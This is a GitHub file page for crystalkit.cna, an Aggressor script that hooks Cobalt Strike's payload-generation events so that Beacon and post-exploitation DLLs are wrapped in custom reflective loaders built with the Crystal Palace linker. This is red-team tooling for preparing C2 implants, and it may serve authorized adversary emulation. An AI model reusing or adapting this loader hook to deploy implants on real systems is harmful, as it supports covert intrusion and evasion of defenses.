-
Notifications
You must be signed in to change notification settings - Fork 64
Expand file tree
/
Copy pathcrystalkit.cna
More file actions
114 lines (84 loc) · 2.47 KB
/
Copy pathcrystalkit.cna
File metadata and controls
114 lines (84 loc) · 2.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
debug ( 7 );
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 );
}
set BEACON_RDLL_GENERATE
{
local ( '$beacon $arch $spec_path $spec $cap $final' );
$beacon = $2;
$arch = $3;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "BEACON_RDLL_GENERATE" );
$spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$cap = [ Capability Parse: cast ( $beacon, 'b' ) ];
$final = [ $spec run: $cap, [ new HashMap ] ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
return $final;
}
set BEACON_RDLL_SIZE {
return "0";
}
set BEACON_RDLL_GENERATE_LOCAL
{
local ( '$beacon $arch $gmh $gpa $spec_path $spec $cap $hash_map $final' );
$beacon = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "BEACON_RDLL_GENERATE_LOCAL" );
$spec_path = getFileProper ( script_resource ( "loader" ), "local-loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$cap = [ Capability Parse: cast ( $beacon, 'b' ) ];
$hash_map = [ new HashMap ];
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
$final = [ $spec run: $cap, $hash_map ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
return $final;
}
set POSTEX_RDLL_GENERATE
{
local ( '$postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$postex = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "POSTEX_RDLL_GENERATE" );
$spec_path = getFileProper ( script_resource ( "postex-loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$hash_map = [ new HashMap ];
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
$final = [ $spec run: $postex, $hash_map ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build package" );
return $null;
}
return $final;
}